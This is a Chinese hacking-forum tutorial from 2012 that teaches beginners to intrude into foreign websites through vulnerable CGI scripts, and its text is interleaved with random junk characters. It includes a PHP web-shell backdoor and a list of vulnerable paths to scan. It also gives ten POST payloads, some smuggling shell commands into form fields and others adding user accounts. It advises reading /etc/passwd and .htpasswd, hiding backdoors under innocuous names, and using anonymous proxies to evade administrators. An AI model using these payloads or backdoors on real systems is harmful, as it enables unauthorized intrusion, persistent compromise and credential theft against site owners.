中国网络渗透测试联盟

标题: CGI 脚本入侵快速上手+脚本使用方法 [打印本页]

作者: admin    时间: 2012-9-13 16:54
标题: CGI 脚本入侵快速上手+脚本使用方法
CGI 脚本入侵快速上手+脚本使用方法( \. c6 p* `7 J. j; l- t+ F& x
大家好 我是bboyhip  只是一名菜菜的exploiter
8 Z' t  w* f7 }5 s( m+ F* e8 o很开心来到贵论坛2 x6 k0 G: A, w9 @9 z4 l3 U
这里让我感觉 很有技术交流的感觉
+ P0 {7 S. N. q, S我会长长来玩的9 e9 i! M. f1 l: c
前言:
/ @& `6 M% H! z2 I. F8 q& b以下讲解针对欧美日本网站
/ ?' Q2 _3 J$ x0 B! N( R+ p當我們在做滲透分析的時候 方法有很多2 ~; Z1 l) X' M$ }
我门都知道 国外伺服器大多是linux 平台( d7 O! J6 {$ G2 i) r
所以有很多网站程序有6成都会使用cgi 脚本来管理
  [: a; o: g' [" q5 ^& f目录为/cgi-bin/: s  J' ^" J: i# e' H+ P' A( Z

( {0 N" N5 B) ?只是个人在实务上一些经验
2 y1 |; j& u5 L4 }. o+ }2 k0 g+ B* t写的不好 请多多见谅喔 2 |  h! K  v9 `- e+ s1 p1 t/ s8 S
在这里我简单分为几个部份一定要會的
6 S6 R" N3 W2 j" n9 |- f讲解一下5 I4 z* _9 Z* S/ {" ~3 ]
让没有基础的人很容易上手' d! l$ F+ q* X; R" i$ A& B9 z

+ v1 \# j& [% b& _6 i* M! D以下内容跟帖回复才能看到
" g2 w. B* }( t: s5 n! G  {6 g==============================$ a9 c" Z, j2 q% e" q

. I% e/ E- M# g, p& Z/ B$ u第1部份: 何谓Shell?4 T( Z; T- B) O
Shell的中文, 可称为 "壳".  Shell 是一个比较复杂的概念, 先看比较传统的解释:
4 P7 s5 I0 A1 p/ R$ W' L5 F. r* bA shell is the program which reads user input from the command line and executes actions based upon that input.0 e) O1 t2 d, R* _/ v* {
意思是, 通过应用程式(shell), 用户输入指令, 由系统执行该指令.; i7 b/ R2 n) k% o. N2 L

" Z4 W0 w' f. F/ R) Z对於黑客来说, shell是後门, 是入侵/ 控制/ 浏览对方系统的程式/ 方法.  3 @6 Z5 \& F) W+ B0 j2 }5 @: |' n
要自行建立一个shell是十分困难的, 因为要先找漏洞, 找到後, 利用该漏洞来写入档案/ 後门.  大家都知道, 有些漏洞只可加码, 有些可读档, 但可以写档的不多.  在数年前, 有一个十分流行及易用的漏洞addpasswd.cgi, 可以写後门, 但时至今日, 绝大部份的addpasswd.cgi已经被删除., Z" o  J8 G9 r9 o% P
所以, 对於入门的exploiter来说, 先收集别人的後门, 多多练习, 然後再学习做自己的shell.2 ]( r) Q( m# k" ^  Q7 H# I: j

( k* [6 D) H2 j! N# Q" r第2部份: Unix 指令' u* v% D2 ?; I6 B! R/ t
以下是一些常见及重要的指令:
5 w8 \8 q, v: spwd: 显示当前目录, 即是後门/程式所在的位置# Y1 U2 r9 y9 k' ~% R# e
如 /home/www/site.com/cgi-bin/
/ ^$ I, {) h8 Q5 B+ r1 ^ls: 列出档案 (-a 包含隐藏档; -l 包含详细资料).  ' i% A" i" }7 x8 w2 ]
ls -al :详细列出档案资料(当前目录)0 G! w  X# W* K! G
ls /: 列出根目录
: u& X( y. |6 s' K! ?( J) ^ls /etc: 列出/etc的资料夹及档案
0 Z' G7 H; [! Als ../ -al: 详细列出上一层的资料夹及档案
8 _; B" E, i: `$ N8 R+ Ucat: 显示档案内容. L* d, K$ W9 L, a3 ?( ]: d: ]* O! M
cat .htpasswd: 显示 .htpasswd 这个档案的内容(当前目录)2 }  H2 D2 I) l) s  z
cat /etc/passwd: 显示 /etc/passwd 这个档案的内容% L3 g+ ~% ?+ v* y0 ?
who: 显示谁login 至系统; R. m6 Y2 T2 z
man: 显示指令用法  
- Z5 U& ]- c) A% S7 z; v( T, Zman ls: 显示ls这指令的用法  , k" `3 b0 p1 z- F* w7 P$ t5 z2 `8 Y+ T- }
mkdir 建立目录9 {" @: z. B- k7 N* e5 \% k
rmdir 删除目录
! q" y% y2 U; Kmv 移动档案; z9 a# t+ n( d2 O% Y$ g+ j
rm 删除档案! U3 A6 j1 g; x) ~9 ~4 V5 B

8 G3 a4 C4 I  h第3部份: Shell的使用
& `) ^5 v) O3 S例如:: Q- R  f% \! T" _8 p. f* u7 _- p
http://site.com/refer.php- u3 {9 y; T' ^8 T- z
这是我的後门, 原代码如下:
, P9 {6 d2 h6 g3 S: b4 ~6 a. S<Form Action="#" Method="POST">
3 H& D3 F; |; w8 c<Input type="text" name="cmd"> , M& q  c( c& R- a
<Input type="Submit">
0 Z* G: w) y9 e( ^</Form>
: b# t6 _9 X, G! S<?php 3 \/ M3 J, M+ }+ C/ E
$cmd = $_POST['cmd']; . `& C: \/ P: p+ g. j4 S9 `
$Output = shell_exec($cmd); - w# [% E, m& y9 u
echo $Output; - D4 z" g- O" z/ `: M" c9 c" i
?> 1 Y! i8 u. Y  n3 B- o+ z% v* G6 h) R
输入pwd, 可得到绝对路径:4 x( a! i: z4 F+ G
/home/htdocs/users/jnesbitt/jnesbitt/nylonfantasies.com
( G9 x: I+ a" T- Y- |
0 g2 F7 S0 n. D1 s* O3 i9 K# D- t第4部份: 注意事项
* {" }) ]7 Y- T6 x$ A" C& z- 使用匿名代理, 保障自己1 ?  u3 Z+ J* e
- 不可恶意破坏, 或更改现有档案, 否则管理员发现了, 不但会删除後门, 可能会有追究行动
; ]; a0 n$ B8 U9 E9 p  c9 x7 i- 加後门前, 必须了解目标系统是否支援.  例如, cgi後门, 应放在cgi-bin; 有些系统可能不支援 php後门等.& F" t' d5 s! i& A
- 加後门前 (如 index.php), 先检查是否已存在该档案名称, 以免覆盖原有档案, 造成破坏.
  O* F4 Y! h+ ^6 g! e- 後门的名称, 不可使用hack, crack, exploit等字眼, 最好使用index, index1, log, login, refer, tmp, test, info等, 鱼目混珠,
* u0 X( y; V7 L# \1 L不容易被发现.8 _8 B% N; {3 @" O5 B
- 将後门放在比较隐闭的地方 (例如 /cgi-bin/内, 有很多cgi档案, 比较少php档案)( Y% R" Z' o3 z) U' M7 `) e3 ?! P
针对网站的渗透分析方法太多了
) g% p+ ]1 ]! H6 e) j6 `, W$ N. [这篇文章的重点是cgi 脚本攻击( x+ p5 V3 e. _7 N
所以我用简单的叙述形容
  x$ |( K7 W9 U# W. ?- O$ H! y开始讲解脚本入侵过程:3 X/ Z" X+ d" c( b* ~5 Y: e" Z) {
在这里提供一些方法思路让大家学习一下
2 E) H( y+ E! O  c( f2 I
# b+ B2 z  C5 z# w- l1.一开始对一个网站进行cgi漏洞扫描& P3 u- K( G% J& L8 y
我们需要的东西有
$ R* a, o) ^" F5 i" B扫洞工具 如:triton..等等
$ \% f! K  T1 @0 w: gE表4 y" W2 O' ?! ~% K
5 F  n' {) K: ^* j+ ]+ \9 u$ S6 `7 o
/cgi-bin/add-passwd.cgi , U8 c2 {. T9 c$ C* G
/WebShop/templates/cc.txt
  |' ^6 e/ Z% k( G, x# Y: \8 H$ b/Admin_files/order.log
# e" r9 _$ S" [* a; [9 i/orders/mountain.cfg
  j# y) A2 @+ N8 {: P/cgi-sys/cart.pl, ^/ k, j# P' D6 f# i6 \/ v" b- r
/scripts/cart.pl, v: i: q0 O6 G# O
/htbin/cart.pl! {) w. z5 q8 Z/ M/ v8 ^4 O
E表来源可以是网路收寻或是自己的0 day
6 C% x: K/ x4 Z0 ~/ R1 e- g4 R
% S+ ~+ z1 |+ q) {0 h- b% Y" |2.怎样确认扫到的洞 是真的还假的?
0 ^6 m1 c: `3 ?' i( W1 [举例: target: http://www.site.com/cgi-bin/add-passwd.cgi* B' J: i+ V, R, A3 A$ b3 o
一般都是在IE里先看一下的,记住这个返回码哦* X) z6 L/ x8 H
ERROR:This script should be referenced with a METHOD of POST.
* G8 F5 Q2 ^8 _1 u  u没有返回一定是假的
# m+ I% \4 y) ]* Z' C6 l3.重来来了 很多人都会问我- G- f' Y  s$ k4 o
他扫到很多洞 但是不会使用
# D7 c8 D! M4 B2 ^% ~因为这些漏洞 使用的语法 称为post
' I' ^! M# l/ R0 Q' Z  M+ `+ A9 ?我们要找post 的方法很多
- F, f$ Q' c5 a4 F# [9 b0 K可以是源代码分析 找出介质. x, I9 ~- i/ o( i& X
或是用抓包工具 抓他的语法...等等# o( u( x( x9 j& y) ?" e( c3 n

2 G! V4 _- ?0 h% ?1 V以下我提供10个 cgi 洞以及使用方法post& u! d. v- J% M; O9 J! a- ~0 l
让大家可以针对网站去做扫描  
7 C0 W8 |& ?0 Q/index.cgi
9 g  I' ?! E! ]2 W9 \% ewei=ren&gen=command
' b0 R: F$ ]/ K2 E1 B/passmaster.cgi) z. J4 m' P5 _" L# a4 Q$ r1 p
Action=Add&Username=Username&Password=Password
% N0 E. F1 n4 O% M! S  k6 G/accountcreate.cgi
2 T( W/ F* k+ ?( R4 V4 d% x3 e  p2 [# Jusername=username&password=password&ref1=|echo;ls|( G( x" V' j0 e; u. T$ z- {6 d
/form.cgi0 |( O  L9 j( S: Y9 K
name=xxxx&email=email&subject=xxxx&response=|echo;ls|* t* s* D. Q% e; S$ r- `. X( e/ ~
/addusr.pl7 B. H. q' d+ a7 T; n: V
/cgi-bin/EuroDebit/addusr.pl
/ K4 w* `4 r4 F# ^8 [* S  m& Guser=username&pass=Password&confirm=Password' q; H% c# a) ^
/ccbill-local.asp
( D3 D$ R8 Q2 I: r9 ]6 Apost_values=username:password1 _% V3 j- Y. j4 _% V3 j
/count.cgi* g: W6 H# N: c/ r% f7 l
pinfile=|echo;ls -la;exit| , D5 e* y* A/ P7 }  d
/recon.cgi6 r( M6 V, t2 ~. u$ T. T
/recon.cgi?search( i5 R1 X( w( E" Q7 J& K
searchoption=1&searchfor=|echo;ls -al;exit|) ]+ g, g8 B& Q6 u
/verotelrum.pl$ Q- S9 o# _9 D! g" s, t5 l# Q
vercode=username:password:dseegsow:add:amount<&30>5 q7 \4 O1 N) E
/af.cgi_browser_out=|echo;ls -la;exit;|
" w; D' I( v; i- t; e. Q5 }7 F8 z4 Z! y9 B" g6 F" z
今天就讲到这  感谢大家支持
% |! R, V* r9 Y5 m7 g! J4 m




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2